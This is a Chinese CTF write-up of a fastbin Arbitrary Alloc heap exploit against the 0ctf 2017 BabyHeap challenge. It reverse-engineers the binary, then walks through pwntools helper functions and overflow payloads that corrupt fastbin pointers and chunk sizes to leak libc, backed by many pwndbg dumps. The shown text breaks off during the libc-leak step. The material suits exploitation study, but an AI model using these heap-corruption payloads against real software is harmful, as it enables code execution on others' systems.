fastbin_attack中的Arbitrary Alloc(例题)
题目来源:0ctf 2017 BabyHeap
参考资料:
PWN入门(3-11-3)-fastbin_attack中的Arbitrary Alloc(例题) (yuque.com)
BUU-PWN题(1-40) (yuque.com)
以babyheap_0ctf_2017学习fasbin attack_0xCCCC9090的博客-CSDN博客
https://mp.weixin.qq.com/s/HG3W06njO7DxU7bF86Gddw
https://www.cnblogs.com/luoleqi/p/12349714.html#allocate-%E5%87%BD%E6%95%B0
附件:
链接:https://pan.baidu.com/s/19CZGTuoy_xSow52t0sRSyg
提取码:1ezz
–来自百度网盘超级会员V3的分享
实验环境
将文件下载,首先检查文件的保护情况:
![image-20230809161138744](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809161138744.png)
可以看到保护全开,回顾一下各个保护:
Arch: amd64-64-little
这个说明程序是64位程序,小端序
RELRO: Full RELRO
Full RELRO开启,使整个GOT只读,从而无法被覆盖,进一步来说GOT表无法被修改
Stack: Canary found
对使用随机数每个函数进行保护,防止栈溢出
NX: NX enabled
不能向栈上直接注入shellcode
PIE: PIE enabled
地址随机化
来看一下我都Linux环境:
Ubuntu版本:
![image-20230809162350506](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809162350506.png)
libc版本:
![image-20230809162450293](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809162450293.png)
libc的大致信息以及校验值:
![image-20230809164346226](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809164346226.png)
工具下载
https://github.com/bash-c/main_arena_offset
逆向分析
先运行一下程序,熟悉大致功能
![image-20230809165524162](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809165524162.png)
程序有四个功能
- Allocate:分配内存大小并给出 index
- Fill:输入 index ,并分配内存进行内容写入操作
- Free:输入 index ,释放相应的内存空间
- Dump:输入 index ,打印内容
整个程序相当于一个堆内存管理器
静态分析
get_addr函数(生成随机地址)
![image-20230809171121420](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809171121420.png)
这个函数可以使程序堆块信息存放在随机地址中,而不是固定的地址,因此我们很难通过找到存放堆块信息的地址来修改其地址从而控制程序的流程。
程序流程图
![image-20230809165751038](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809165751038.png)
1、Allocate函数(开辟堆空间)
这里分配内存使用calloc,会将内存置0。
![image-20230809165840906](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809165840906.png)
- 分配的大小不能超过 4096 字节
- *(24LL * i + a1):置 1 表示 chunk 已经创建
- *(a1 + 24LL * i + 8):存储 chunk 的大小
- *(a1 + 24LL * i + 16):存储 chunk 的地址
根据用户输入分配堆空间,地址存储到索引表中,一块索引的信息是24字节,第一个8字节记录此索引是否被使用,第二个8字节代表分配的大小,第三个8字节是分配的地址,指向chunk。
![image-20230809170217070](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809170217070.png)
2、Fill 函数(填充堆内容)
没有对用户输入的size过滤,存在堆溢出漏洞
![image-20230809170436215](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809170436215.png)
- 先判断对应位是否为 1 ,即 chunk 是否存在
- 如果存在把输入的内容写入 *(24LL * v2 + a1 + 16) 对应的地址中。(在这里即写入到堆块中)
- 同时这里没有对 v3 的大小做限制,存在堆溢出
3、Free函数(释放堆空间)
Free函数释放内存空间,同时将索引表中指针置0,不存在uaf漏洞
![image-20230809170645081](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809170645081.png)
4、Dump 函数(打印堆内容)
![image-20230809170807150](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809170807150.png)
- 先判断对应位是否为 1 ,即 chunk 是否存在
- 如果存在,输出对应索引 chunk 的内容,注意读取内容的大小是在索引表中的记录的大小,也就是一开始分配的大小,不是chunk的size字段大小。
gdb动态调试
因为之前有个get_addr生成随机地址这个函数,其中指针也存放在那里。
关闭ALSR保护
由于这个程序开启了PIE保护,为了方便调试程序及查看堆内存,因此我们将Linux的ALSR(地址空间随机化)进行关闭。
1
| sysctl -w kernel.randomize_va_space=0
|
是一种临时改变随机策略的方法,重启之后将恢复默认。
第一次gdb调试内存布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x53492d00e000 0x53492d00f000 rw-p 1000 0 0x555555554000 0x555555556000 r-xp 2000 0 0x555555755000 0x555555756000 r--p 1000 1000 0x555555756000 0x555555757000 rw-p 1000 2000 0x555555757000 0x555555778000 rw-p 21000 0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
|
第二次gdb调试内存布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x156828fed000 0x156828fee000 rw-p 1000 0 0x555555554000 0x555555556000 r-xp 2000 0 0x555555755000 0x555555756000 r--p 1000 1000 0x555555756000 0x555555757000 rw-p 1000 2000 0x555555757000 0x555555778000 rw-p 21000 0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
|
通过对比发现,变动的只有第一行的地址:
1 2 3
| LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x53492d00e000 0x53492d00f000 rw-p 1000 0 (第一次gdb调试) 0x156828fed000 0x156828fee000 rw-p 1000 0 (第二次gdb调试)
|
到这里,可以猜测一下,程序的指针应该也存放在这篇内存区域中。
![image-20230809173539570](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809173539570.png)
因为是重新调试了一下,所以图片地址和上述有差异,但是可以确定的是程序结构体中指针存放的位置。
漏洞利用思路
从上面的内容可以看出,主要的漏洞是任意长度堆溢出。由于该程序几乎开启了所有保护,所以我们必须要有一些泄露才可以控制程序的流程。基本利用思路如下:
- 利用unsorted bin地址泄露libc基地址。
- 利用fastbin attack中的Arbitrary Alloc技术将chunk分配到malloc_hook附近。
1、leak libc addr
1-1、模仿程序的功能
根据上面得到的程序信息,首先模拟程序功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| def alloc(size): sh.recvuntil('Command: ') sh.sendline('1') sh.recvuntil('Size: ') sh.sendline(str(size))
def fill(index,size,content): sh.recvuntil('Command: ') sh.sendline(str(2)) sh.recvuntil('Index: ') sh.sendline(str(index)) sh.recvuntil('Size: ') sh.sendline(str(size)) sh.recvuntil('Content: ') sh.sendline(content)
def delete(index): sh.recvuntil('Command: ') sh.sendline('3') sh.recvuntil('Index: ') sh.sendline(str(index)) def dump(index): sh.recvuntil('Command: ') sh.sendline('4') sh.recvuntil('Index: ') sh.sendline(str(index)) sh.recvline() return sh.recvline()
|
1-2、申请5个chunk
由于我们希望使用unsorted bin来泄露libc基地址,所以必须要有chunk可以被链接到unsorted bin中,所以该chunk不能被回收到fastbin chunk,也不能和top chunk相邻。因为后者在不是fastbin的情况下,会被合并到top chunk中。
1 2 3 4 5
| alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80)
|
执行完此payload之后的heap情况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pwndbg> x/30gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 #index4 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 ......(省略) 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk 0x555555757120: 0x0000000000000000 0x0000000000000000
|
此时程序结构体中情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> x/30gx 0x14feaceed640 0x14feaceed640: 0x0000000000000001 0x0000000000000010 0x14feaceed650: 0x0000555555757010 0x0000000000000001 #index0 0x14feaceed660: 0x0000000000000010 0x0000555555757030 #index1 0x14feaceed670: 0x0000000000000001 0x0000000000000010 0x14feaceed680: 0x0000555555757050 0x0000000000000001 #index2 0x14feaceed690: 0x0000000000000010 0x0000555555757070 #index3 0x14feaceed6a0: 0x0000000000000001 0x0000000000000080 0x14feaceed6b0: 0x0000555555757090 0x0000000000000000 #index4 0x14feaceed6c0: 0x0000000000000000 0x0000000000000000 0x14feaceed6d0: 0x0000000000000000 0x0000000000000000 0x14feaceed6e0: 0x0000000000000000 0x0000000000000000 0x14feaceed6f0: 0x0000000000000000 0x0000000000000000 0x14feaceed700: 0x0000000000000000 0x0000000000000000 0x14feaceed710: 0x0000000000000000 0x0000000000000000 0x14feaceed720: 0x0000000000000000 0x0000000000000000
|
1-3、free创建的index1和index2
执行此部分payload,来看一下堆状况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000555555757020 0x0000000000000000 #fd指针指向index1的起始地址 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 #index4 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
|
此时的bin和main_arena情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| pwndbg> bin fastbins 0x20: 0x555555757040 —▸ 0x555555757020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
pwndbg> x/30gx &main_arena 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040 #index2 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000555555757110 #top_chunk 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78 0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88 0x7ffff7dd1ba0 <main_arena+128>: 0x00007ffff7dd1b88 0x00007ffff7dd1b98 0x7ffff7dd1bb0 <main_arena+144>: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8 0x7ffff7dd1bc0 <main_arena+160>: 0x00007ffff7dd1ba8 0x00007ffff7dd1bb8 0x7ffff7dd1bd0 <main_arena+176>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bc8 0x7ffff7dd1be0 <main_arena+192>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bd8 0x7ffff7dd1bf0 <main_arena+208>: 0x00007ffff7dd1bd8 0x00007ffff7dd1be8 0x7ffff7dd1c00 <main_arena+224>: 0x00007ffff7dd1be8 0x00007ffff7dd1bf8
|
程序的结构体状况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> x/50gx 0x4b12e9dd3000 0x4b12e9dd3000: 0x0000000000000001 0x0000000000000010 #index0 0x4b12e9dd3010: 0x0000555555757010 0x0000000000000000 #index1(chunk_flag置0) 0x4b12e9dd3020: 0x0000000000000000 0x0000000000000000 #chunk_content_size置零 #chunk_data_ptr置空 0x4b12e9dd3030: 0x0000000000000000 0x0000000000000000 #index2(chunk_flag置0) #chunk_content_size置零 0x4b12e9dd3040: 0x0000000000000000 0x0000000000000001 #chunk_data_ptr置空 #index3 0x4b12e9dd3050: 0x0000000000000010 0x0000555555757070 0x4b12e9dd3060: 0x0000000000000001 0x0000000000000080 #index4 0x4b12e9dd3070: 0x0000555555757090 0x0000000000000000
|
注意:chunk_content_size和chunk中的size字段时不相同的。
程序在Allocate时是根据content_size来创建堆块的,而在fill时input函数并不会修改content_size和chunk的size域。
1-4、对index0进行fill操作,溢出修改index2的fd指针
1 2 3 4 5 6
| payload = p64(0) * 3 payload += p64(0x21) payload += p64(0) * 3 payload += p64(0x21) payload += p8(0x80) fill(0,payload)
|
这一小段的payload目的是把 chunk 2 的内容覆盖为 chunk 4 的地址,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。由index2->index1变为index2->inddex4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 #payload从这里开始修改堆块内容 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin) 0x555555757050: 0x0000555555757080 0x0000000000000000 #此处的fd指针已经被修改了 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(fastbin) 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
|
结构体未发生改变。
1-5、对index进行fill,将index4的大小修改为0x21
1 2 3 4
| payload = p64(0) * 3 payload += p64(0x21) fill(3,payload)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 #payload从这里开始修改堆块内容 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin) 0x555555757050: 0x0000555555757080 0x0000000000000000 #此处的fd指针已经被修改了 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000021 #index4(fastbin) 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
|
再次强调一下,在申请fastbin内存时,会检查被释放堆块的size(大小)是否在fastbin的范围内,如果不在,程序则异常退出,这有关于fastbin的机制。
结构体未发生改变。
1-6、申请index4
1 2 3 4
| alloc(0x10) alloc(0x10)
|
执行这部分payload之后,第一个malloc会先分配Index2给我们(fastbin分配原则是LIFO即后进先出),第二个malloc会将index4分配给我们。
此时的内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000021 #index4 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
|
此时的结构体状况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x54d0942169b0: 0x0000000000000001 0x0000000000000010 #index0 0x54d0942169c0: 0x0000555555757010 0x0000000000000001 #index1(chunk_flag改变) 0x54d0942169d0: 0x0000000000000010 0x0000555555757050 #chunk_content_size(改变) #chunk_data_ptr(改变) 0x54d0942169e0: 0x0000000000000001 0x0000000000000010 #index2(chunk_flag改变) #chunk_data_size(改变) 0x54d0942169f0: 0x0000555555757090 0x0000000000000001 ##chunk_data_ptr(改变) #index3 0x54d094216a00: 0x0000000000000010 0x0000555555757070 0x54d094216a10: 0x0000000000000000 0x0000000000000000 #index4 0x54d094216a20: 0x0000000000000000 0x0000000000000001 0x54d094216a30: 0x0000000000000080 0x0000555555757120
|
此时我们有两个地方指向chunk4:
- note4的content
- note2的content 第二个alloc得到的是index为2的note,这与alloc函数有关,可以看前面的ida代码。
也就是说,假如我们现在要fill index2的内容,那么其实上是修改index4的内容。
1-7、修改index4的size为0x91
1 2 3 4
| payload = p64(0)*3 payload += p64(0x91) fill(3, payload)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 #index4 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
|
1-8、申请新堆块–index5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 #index4 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000000091 #index5 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000000000000000 0x0000000000000000 0x555555757190: 0x0000000000000000 0x0000000000000000 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 top_chunk
|
程序结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 0x54d0942169b0: 0x0000000000000001 0x0000000000000010 #index0 0x54d0942169c0: 0x0000555555757010 0x0000000000000001 #index1 0x54d0942169d0: 0x0000000000000010 0x0000555555757050 0x54d0942169e0: 0x0000000000000001 0x0000000000000010 #index2 0x54d0942169f0: 0x0000555555757090 0x0000000000000001 #index3 0x54d094216a00: 0x0000000000000010 0x0000555555757070 0x54d094216a10: 0x0000000000000000 0x0000000000000000 #index4 0x54d094216a20: 0x0000000000000000 0x0000000000000001 #index5(此处发生了改变) 0x54d094216a30: 0x0000000000000080 0x0000555555757120 #(此处发生了改变) #(此处发生了改变)
|
1-9、free(index4),将index4放入unsortedbin中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| pwndbg> bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x555555757080 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757080 smallbins empty largebins empty
pwndbg> heap 0x555555757000 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0, size = 145, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 { prev_size = 144, size = 144, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0, size = 134753, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
pwndbg> x/16gx &main_arena 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00005555557571a0 #top_chunk 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000555555757080 #unsortedbin 0x7ffff7dd1b90 <main_arena+112>: 0x0000555555757080 0x00007ffff7dd1b88 pwndbg> x/30gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(unsortedbin) 0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000000 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000090 0x0000000000000090 #index5 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000000000000000 0x0000000000000000 0x555555757190: 0x0000000000000000 0x0000000000000000 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk 0x5555557571b0: 0x0000000000000000 0x0000000000000000 0x5555557571c0: 0x0000000000000000 0x0000000000000000 0x5555557571d0: 0x0000000000000000 0x0000000000000000
|
当unsortedbin里只有一个空闲的chunk时,该chunk的fd指针和bk指针均指向unsortedbin本身。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
